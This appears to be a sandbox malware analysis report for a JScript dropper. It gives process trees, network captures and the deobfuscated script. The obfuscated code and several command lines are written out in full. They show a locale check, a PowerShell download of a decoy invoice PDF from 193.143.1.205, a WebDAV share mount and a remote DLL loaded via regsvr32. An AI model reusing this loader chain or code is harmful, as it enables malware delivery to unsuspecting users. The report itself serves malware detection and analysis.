>>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:44:42.152735949 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:44:42.152750015 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:44:42.152760983 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 23:44:42.152782917 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 23:44:42.152803898 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 23:44:42.152816057 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 23:44:42.152827978 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 23:44:42.152842999 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 23:44:42.152858973 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 23:44:42.206784010 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	3196	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:44:43.826898098 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:44:44.634728909 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:44:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:44:37
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js"
Imagebase:	0x7ff624890000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:44:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Imagebase:	0x7ff79cfe0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:44:38
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:44:38
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:44:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:44:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79cfe0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:44:43
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62ace0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:44:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:44:43
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:44:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1684,i,17893435023047788121,3099982242300101313,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fwugsbzm() {	fwugsbzm() ➔ undefined
1	xsmzs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var odzqk = this[highpzlyz + isqazh + dkfweu + pxndrkgaq + tpzou + ibfug + bkkpfdya + xbpimprmg] ( this[wndsm + zeakgwv + tvvriq + dkfweu + xnlpxe + highpzlyz + xbpimprmg][lpxaioze + dkfweu + tpzou + isqazh + xbpimprmg + tpzou + tpcjhwun + bsiaqduy + qbblnwe + tpzou + tvvriq + xbpimprmg] ( wndsm + zeakgwv + tvvriq + dkfweu + xnlpxe + highpzlyz + xbpimprmg + nztrzinlg + zeakgwv + wdwphzqwk + tpzou + koipnlrgj + koipnlrgj ) [ceiup + tpzou + ydnixfrg + ceiup + tpzou + isqazh + kmvgfhymt] ( wtmcogif + dugvbswu + hxzpw + dsnoq + jagsf + lpxaioze + eeimlv + ceiup + ceiup + hxzpw + zijvtj + qvddlu + jagsf + eeimlv + zeakgwv + hxzpw + ceiup + rzelb + lpxaioze + xvbxgfe + bkkpfdya + xbpimprmg + dkfweu + xvbxgfe + koipnlrgj + feivimswo + qqczkr + isqazh + bkkpfdya + tpzou + koipnlrgj + rzelb + ibfug + bkkpfdya + xbpimprmg + tpzou + dkfweu + bkkpfdya + isqazh + xbpimprmg + xnlpxe + xvbxgfe + bkkpfdya + isqazh + koipnlrgj + rzelb + rvufzeq + xvbxgfe + tvvriq + isqazh + koipnlrgj + tpzou ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dfekz = 0 ; dfekz < xsmzs[koipnlrgj + tpzou + bkkpfdya + ydnixfrg + xbpimprmg + wdwphzqwk] ; ++ dfekz )
4	{
5	if ( odzqk == xsmzs[dfekz] )
6	{
7	odzqk = true;
8	break ;
9	}
10	}
11	if ( odzqk !== true )
12	this[wndsm + zeakgwv + tvvriq + dkfweu + xnlpxe + highpzlyz + xbpimprmg][cjkstol + zjnvjhfrg + xnlpxe + xbpimprmg] ( );
13	this[wndsm + zeakgwv + tvvriq + dkfweu + xnlpxe + highpzlyz + xbpimprmg][lpxaioze + dkfweu + tpzou + isqazh + xbpimprmg + tpzou + tpcjhwun + bsiaqduy + qbblnwe + tpzou + tvvriq + xbpimprmg] ( wndsm + zeakgwv + tvvriq + dkfweu + xnlpxe + highpzlyz + xbpimprmg + nztrzinlg + zeakgwv + wdwphzqwk + tpzou + koipnlrgj + koipnlrgj ) [dkfweu + zjnvjhfrg + bkkpfdya] ( tvvriq + olwtsd + kmvgfhymt + feivimswo + qlnvjg + tvvriq + feivimswo + highpzlyz + xvbxgfe + iqjvqvyfs + tpzou + dkfweu + pxndrkgaq + wdwphzqwk + tpzou + koipnlrgj + koipnlrgj + nztrzinlg + tpzou + xaogn + tpzou + feivimswo + hiozked + lpxaioze + xvbxgfe + olwtsd + olwtsd + isqazh + bkkpfdya + kmvgfhymt + feivimswo + zodvjhx + ibfug + bkkpfdya + rglxtfw + xvbxgfe + nybgtpcb + tpzou + hiozked + wndsm + tpzou + bsiaqduy + ceiup + tpzou + jxrysy + zjnvjhfrg + tpzou + pxndrkgaq + xbpimprmg + feivimswo + hiozked + tpcjhwun + zjnvjhfrg + xbpimprmg + ztigimy + xnlpxe + koipnlrgj + tpzou + feivimswo + ryjhaqrv + xbpimprmg + tpzou + olwtsd + highpzlyz + ryjhaqrv + rzelb + xnlpxe + bkkpfdya + rglxtfw + xvbxgfe + xnlpxe + tvvriq + tpzou + nztrzinlg + highpzlyz + kmvgfhymt + qwgzqdbwy + feivimswo + wdwphzqwk + xbpimprmg + xbpimprmg + highpzlyz + xdchixubu + qlnvjg + qlnvjg + whbkcji + bmdlv + hejyimnvg + nztrzinlg + whbkcji + qxtmqc + hejyimnvg + nztrzinlg + whbkcji + nztrzinlg + yncrnmwkm + frpop + yhswxb + qlnvjg + xnlpxe + bkkpfdya + rglxtfw + xvbxgfe + xnlpxe + tvvriq + tpzou + nztrzinlg + highpzlyz + wdwphzqwk + highpzlyz + zodvjhx + nawpbkyh + nawpbkyh + pxndrkgaq + xbpimprmg + isqazh + dkfweu + xbpimprmg + feivimswo + ryjhaqrv + xbpimprmg + tpzou + olwtsd + highpzlyz + ryjhaqrv + rzelb + xnlpxe + bkkpfdya + rglxtfw + xvbxgfe + xnlpxe + tvvriq + tpzou + nztrzinlg + highpzlyz + kmvgfhymt + qwgzqdbwy + nawpbkyh + nawpbkyh + tvvriq + olwtsd + kmvgfhymt + feivimswo + qlnvjg + tvvriq + feivimswo + bkkpfdya + tpzou + xbpimprmg + feivimswo + zjnvjhfrg + pxndrkgaq + tpzou + feivimswo + rzelb + rzelb + whbkcji + bmdlv + hejyimnvg + nztrzinlg + whbkcji + qxtmqc + hejyimnvg + nztrzinlg + whbkcji + nztrzinlg + yncrnmwkm + frpop + yhswxb + gpjrbphhs + ndpteiz + ndpteiz + ndpteiz + ndpteiz + rzelb + kmvgfhymt + isqazh + rglxtfw + iqjvqvyfs + iqjvqvyfs + iqjvqvyfs + dkfweu + xvbxgfe + xvbxgfe + xbpimprmg + rzelb + nawpbkyh + nawpbkyh + tvvriq + olwtsd + kmvgfhymt + feivimswo + qlnvjg + tvvriq + feivimswo + dkfweu + tpzou + ydnixfrg + pxndrkgaq + rglxtfw + dkfweu + hejyimnvg + yncrnmwkm + feivimswo + qlnvjg + pxndrkgaq + feivimswo + rzelb + rzelb + whbkcji + bmdlv + hejyimnvg + nztrzinlg + whbkcji + qxtmqc + hejyimnvg + nztrzinlg + whbkcji + nztrzinlg + yncrnmwkm + frpop + yhswxb + gpjrbphhs + ndpteiz + ndpteiz + ndpteiz + ndpteiz + rzelb + kmvgfhymt + isqazh + rglxtfw + iqjvqvyfs + iqjvqvyfs + iqjvqvyfs + dkfweu + xvbxgfe + xvbxgfe + xbpimprmg + rzelb + yncrnmwkm + yncrnmwkm + whbkcji + yncrnmwkm + yncrnmwkm + hejyimnvg + udtzxbb + rtvchyp + udtzxbb + whbkcji + hejyimnvg + yncrnmwkm + yncrnmwkm + ndpteiz + nztrzinlg + kmvgfhymt + koipnlrgj + koipnlrgj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll",0,false) ➔ 0
14	}
15	kmvgfhymt = "c";
16	kmvgfhymt = "t";
17	kmvgfhymt = "U";
18	kmvgfhymt = "u";
19	kmvgfhymt = "Z";
20	kmvgfhymt = "e";
21	kmvgfhymt = "U";
22	kmvgfhymt = "G";
23	kmvgfhymt = "A";
24	kmvgfhymt = "W";
25	kmvgfhymt = "W";
26	kmvgfhymt = "W";
27	kmvgfhymt = "Q";
28	kmvgfhymt = "u";
29	kmvgfhymt = "d";
30	wtmcogif = "K";
31	wtmcogif = "e";
32	wtmcogif = "c";
33	wtmcogif = "c";
34	wtmcogif = "V";
35	wtmcogif = "V";
36	wtmcogif = "J";
37	wtmcogif = "p";
38	wtmcogif = "b";
39	wtmcogif = "s";
40	wtmcogif = "q";
41	wtmcogif = "E";
42	wtmcogif = "I";
43	wtmcogif = "r";
44	wtmcogif = "L";
45	wtmcogif = "f";
46	wtmcogif = "i";
47	wtmcogif = "f";
48	wtmcogif = "B";
49	wtmcogif = "R";
50	wtmcogif = "i";
51	wtmcogif = "h";
52	wtmcogif = "w";
53	wtmcogif = "y";
54	wtmcogif = "E";
55	wtmcogif = "Z";
56	wtmcogif = "H";
57	wtmcogif = "q";
58	wtmcogif = "C";
59	wtmcogif = "s";
60	wtmcogif = "R";
61	wtmcogif = "g";
62	wtmcogif = "K";
63	wtmcogif = "M";
64	wtmcogif = "o";
65	wtmcogif = "D";
66	wtmcogif = "g";
67	wtmcogif = "K";
68	wtmcogif = "H";
69	cjkstol = "b";
70	cjkstol = "V";
71	cjkstol = "N";
72	cjkstol = "G";
73	cjkstol = "R";
74	cjkstol = "i";
75	cjkstol = "C";
76	cjkstol = "N";
77	cjkstol = "g";
78	cjkstol = "N";
79	cjkstol = "b";
80	cjkstol = "Z";
81	cjkstol = "E";
82	cjkstol = "e";
83	cjkstol = "K";
84	cjkstol = "s";
85	cjkstol = "e";
86	cjkstol = "K";
87	cjkstol = "e";
88	cjkstol = "N";
89	cjkstol = "I";
90	cjkstol = "T";
91	cjkstol = "X";
92	cjkstol = "U";
93	cjkstol = "b";
94	cjkstol = "y";
95	cjkstol = "o";
96	cjkstol = "I";
97	cjkstol = "U";
98	cjkstol = "B";
99	cjkstol = "r";
100	cjkstol = "e";
101	cjkstol = "J";
102	cjkstol = "S";
103	cjkstol = "m";
104	cjkstol = "X";
105	cjkstol = "Q";
106	koipnlrgj = "l";
107	koipnlrgj = "P";
108	koipnlrgj = "F";
109	koipnlrgj = "U";
110	koipnlrgj = "h";
111	koipnlrgj = "d";
112	koipnlrgj = "L";
113	koipnlrgj = "L";
114	koipnlrgj = "W";
115	koipnlrgj = "w";
116	koipnlrgj = "m";
117	koipnlrgj = "S";
118	koipnlrgj = "U";
119	koipnlrgj = "K";
120	koipnlrgj = "J";
121	koipnlrgj = "l";
122	koipnlrgj = "m";
123	koipnlrgj = "J";
124	koipnlrgj = "c";
125	koipnlrgj = "m";
126	koipnlrgj = "X";
127	koipnlrgj = "l";
128	dkfweu = "R";
129	dkfweu = "g";
130	dkfweu = "n";
131	dkfweu = "B";
132	dkfweu = "w";
133	dkfweu = "t";
134	dkfweu = "r";
135	dkfweu = "U";
136	dkfweu = "c";
137	dkfweu = "r";
138	dkfweu = "k";
139	dkfweu = "B";
140	dkfweu = "Y";
141	dkfweu = "H";
142	dkfweu = "O";
143	dkfweu = "X";
144	dkfweu = "K";
145	dkfweu = "y";
146	dkfweu = "k";
147	dkfweu = "s";
148	dkfweu = "x";
149	dkfweu = "o";
150	dkfweu = "E";
151	dkfweu = "i";
152	dkfweu = "E";
153	dkfweu = "g";
154	dkfweu = "P";
155	dkfweu = "d";
156	dkfweu = "Y";
157	dkfweu = "i";
158	dkfweu = "C";
159	dkfweu = "r";
160	dkfweu = "u";
161	dkfweu = "F";
162	dkfweu = "E";
163	dkfweu = "B";
164	dkfweu = "m";
165	dkfweu = "h";
166	dkfweu = "g";
167	dkfweu = "A";
168	dkfweu = "f";
169	dkfweu = "r";
170	ydnixfrg = "r";
171	ydnixfrg = "o";
172	ydnixfrg = "O";
173	ydnixfrg = "Y";
174	ydnixfrg = "g";
175	ydnixfrg = "U";
176	ydnixfrg = "G";
177	ydnixfrg = "d";
178	ydnixfrg = "g";
179	ydnixfrg = "s";
180	ydnixfrg = "o";
181	ydnixfrg = "G";
182	ydnixfrg = "Y";
183	ydnixfrg = "G";
184	ydnixfrg = "j";
185	ydnixfrg = "u";
186	ydnixfrg = "i";
187	ydnixfrg = "G";
188	ydnixfrg = "T";
189	ydnixfrg = "s";
190	ydnixfrg = "N";
191	ydnixfrg = "W";
192	ydnixfrg = "k";
193	ydnixfrg = "P";
194	ydnixfrg = "y";
195	ydnixfrg = "d";
196	ydnixfrg = "v";
197	ydnixfrg = "T";
198	ydnixfrg = "x";
199	ydnixfrg = "n";
200	ydnixfrg = "g";
201	ztigimy = "h";
202	ztigimy = "T";
203	ztigimy = "S";
204	ztigimy = "w";
205	ztigimy = "e";
206	ztigimy = "P";
207	ztigimy = "g";
208	ztigimy = "I";
209	ztigimy = "G";
210	ztigimy = "b";
211	ztigimy = "O";
212	ztigimy = "B";
213	ztigimy = "U";
214	ztigimy = "d";
215	ztigimy = "F";
216	qbblnwe = "H";
217	qbblnwe = "H";
218	qbblnwe = "S";
219	qbblnwe = "n";
220	qbblnwe = "z";
221	qbblnwe = "Z";
222	qbblnwe = "p";
223	qbblnwe = "T";
224	qbblnwe = "U";
225	qbblnwe = "y";
226	qbblnwe = "w";
227	qbblnwe = "C";
228	qbblnwe = "k";
229	qbblnwe = "R";
230	qbblnwe = "X";
231	qbblnwe = "a";
232	qbblnwe = "d";
233	qbblnwe = "o";
234	qbblnwe = "j";
235	qbblnwe = "r";
236	qbblnwe = "o";
237	qbblnwe = "b";
238	qbblnwe = "f";
239	qbblnwe = "F";
240	qbblnwe = "v";
241	qbblnwe = "g";
242	qbblnwe = "F";
243	qbblnwe = "y";
244	qbblnwe = "J";
245	qbblnwe = "k";
246	qbblnwe = "P";
247	qbblnwe = "D";
248	qbblnwe = "E";
249	qbblnwe = "s";
250	qbblnwe = "T";
251	qbblnwe = "B";
252	qbblnwe = "l";
253	qbblnwe = "J";
254	qbblnwe = "w";
255	qbblnwe = "p";
256	qbblnwe = "U";
257	qbblnwe = "k";
258	qbblnwe = "j";
259	zeakgwv = "N";
260	zeakgwv = "i";
261	zeakgwv = "n";
262	zeakgwv = "f";
263	zeakgwv = "s";
264	zeakgwv = "S";
265	nawpbkyh = "u";
266	nawpbkyh = "N";
267	nawpbkyh = "C";
268	nawpbkyh = "V";
269	nawpbkyh = "&";
270	highpzlyz = "p";
271	highpzlyz = "s";
272	highpzlyz = "E";
273	highpzlyz = "M";
274	highpzlyz = "E";
275	highpzlyz = "q";
276	highpzlyz = "f";
277	highpzlyz = "R";
278	highpzlyz = "S";
279	highpzlyz = "e";
280	highpzlyz = "O";
281	highpzlyz = "K";
282	highpzlyz = "n";
283	highpzlyz = "O";
284	highpzlyz = "f";
285	highpzlyz = "Z";
286	highpzlyz = "O";
287	highpzlyz = "s";
288	highpzlyz = "f";
289	highpzlyz = "U";
290	highpzlyz = "X";
291	highpzlyz = "q";
292	highpzlyz = "b";
293	highpzlyz = "Y";
294	highpzlyz = "y";
295	highpzlyz = "R";
296	highpzlyz = "J";
297	highpzlyz = "c";
298	highpzlyz = "d";
299	highpzlyz = "K";
300	highpzlyz = "U";
301	highpzlyz = "K";
302	highpzlyz = "Y";
303	highpzlyz = "O";
304	highpzlyz = "V";
305	highpzlyz = "C";
306	highpzlyz = "D";
307	highpzlyz = "m";
308	highpzlyz = "Z";
309	highpzlyz = "V";
310	highpzlyz = "K";
311	highpzlyz = "p";
312	rvufzeq = "a";
313	rvufzeq = "M";
314	rvufzeq = "N";
315	rvufzeq = "E";
316	rvufzeq = "o";
317	rvufzeq = "A";
318	rvufzeq = "c";
319	rvufzeq = "q";
320	rvufzeq = "x";
321	rvufzeq = "I";
322	rvufzeq = "L";
323	rvufzeq = "L";
324	rvufzeq = "Q";
325	rvufzeq = "T";
326	rvufzeq = "t";
327	rvufzeq = "M";
328	rvufzeq = "T";
329	rvufzeq = "W";
330	rvufzeq = "x";
331	rvufzeq = "r";
332	rvufzeq = "S";
333	rvufzeq = "a";
334	rvufzeq = "u";
335	rvufzeq = "L";
336	rzelb = "Q";
337	rzelb = "X";
338	rzelb = "U";
339	rzelb = "h";
340	rzelb = "v";
341	rzelb = "L";
342	rzelb = "t";
343	rzelb = "M";
344	rzelb = "R";
345	rzelb = "G";
346	rzelb = "O";
347	rzelb = "u";
348	rzelb = "D";
349	rzelb = "c";
350	rzelb = "I";
351	rzelb = "n";
352	rzelb = "c";
353	rzelb = "j";
354	rzelb = "B";
355	rzelb = "v";
356	rzelb = "J";
357	rzelb = "w";
358	rzelb = "y";
359	rzelb = "C";
360	rzelb = "R";
361	rzelb = "c";
362	rzelb = "B";
363	rzelb = "r";
364	rzelb = "t";
365	rzelb = "U";
366	rzelb = "R";
367	rzelb = "\\";
368	iqjvqvyfs = "m";
369	iqjvqvyfs = "n";
370	iqjvqvyfs = "U";
371	iqjvqvyfs = "c";
372	iqjvqvyfs = "M";
373	iqjvqvyfs = "H";
374	iqjvqvyfs = "H";
375	iqjvqvyfs = "Q";
376	iqjvqvyfs = "w";
377	iqjvqvyfs = "m";
378	iqjvqvyfs = "Z";
379	iqjvqvyfs = "J";
380	iqjvqvyfs = "J";
381	iqjvqvyfs = "K";
382	iqjvqvyfs = "q";
383	iqjvqvyfs = "k";
384	iqjvqvyfs = "U";
385	iqjvqvyfs = "Z";
386	iqjvqvyfs = "e";
387	iqjvqvyfs = "l";
388	iqjvqvyfs = "g";
389	iqjvqvyfs = "W";
390	iqjvqvyfs = "v";
391	iqjvqvyfs = "b";
